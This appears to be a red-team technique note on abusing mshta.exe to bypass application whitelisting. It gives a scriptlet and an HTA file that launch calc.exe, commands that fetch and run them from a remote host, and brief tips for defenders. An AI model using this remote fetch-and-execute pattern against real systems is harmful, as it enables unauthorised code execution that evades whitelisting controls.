MSHTA

MSHTA code execution - bypass application whitelisting.
Execution
Writing a scriptlet file that will launch calc.exe when invoked:
http://10.0.0.5/m.sct
<?XML version="1.0"?>
<scriptlet>
<registration description="Desc" progid="Progid" version="0" classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"></registration>
​
<public>
    <method name="Exec"></method>
</public>
​
<script language="JScript">
<![CDATA[
	function Exec()	{
		var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
	}
]]>
</script>
</scriptlet>
Invoking the scriptlet file hosted remotely:
[email protected]
# from powershell
/cmd /c mshta.exe javascript:a=(GetObject("script:http://10.0.0.5/m.sct")).Exec();close();
Observations
As expected, calc.exe is spawned by mshta.exe. Worth noting that mhsta and cmd exit almost immediately after invoking the calc.exe:
As a defender, look at sysmon logs for mshta establishing network connections:
Also, suspicious commandlines:
Bonus
The hta file can be invoked like so:
mshta.exe http://10.0.0.5/m.hta
or by navigating to the file itself, launching it and clicking run:
http://10.0.0.5/m.hta
<html>
<head>
<script language="VBScript"> 
    Sub RunProgram
        Set objShell = CreateObject("Wscript.Shell")
        objShell.Run "calc.exe"
    End Sub
RunProgram()
</script>
</head> 
<body>
    Nothing to see here..
</body>
</html>
References
https://attack.mitre.org/wiki/Technique/T1170
attack.mitre.org
regsvr32
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Last updated 2 years ago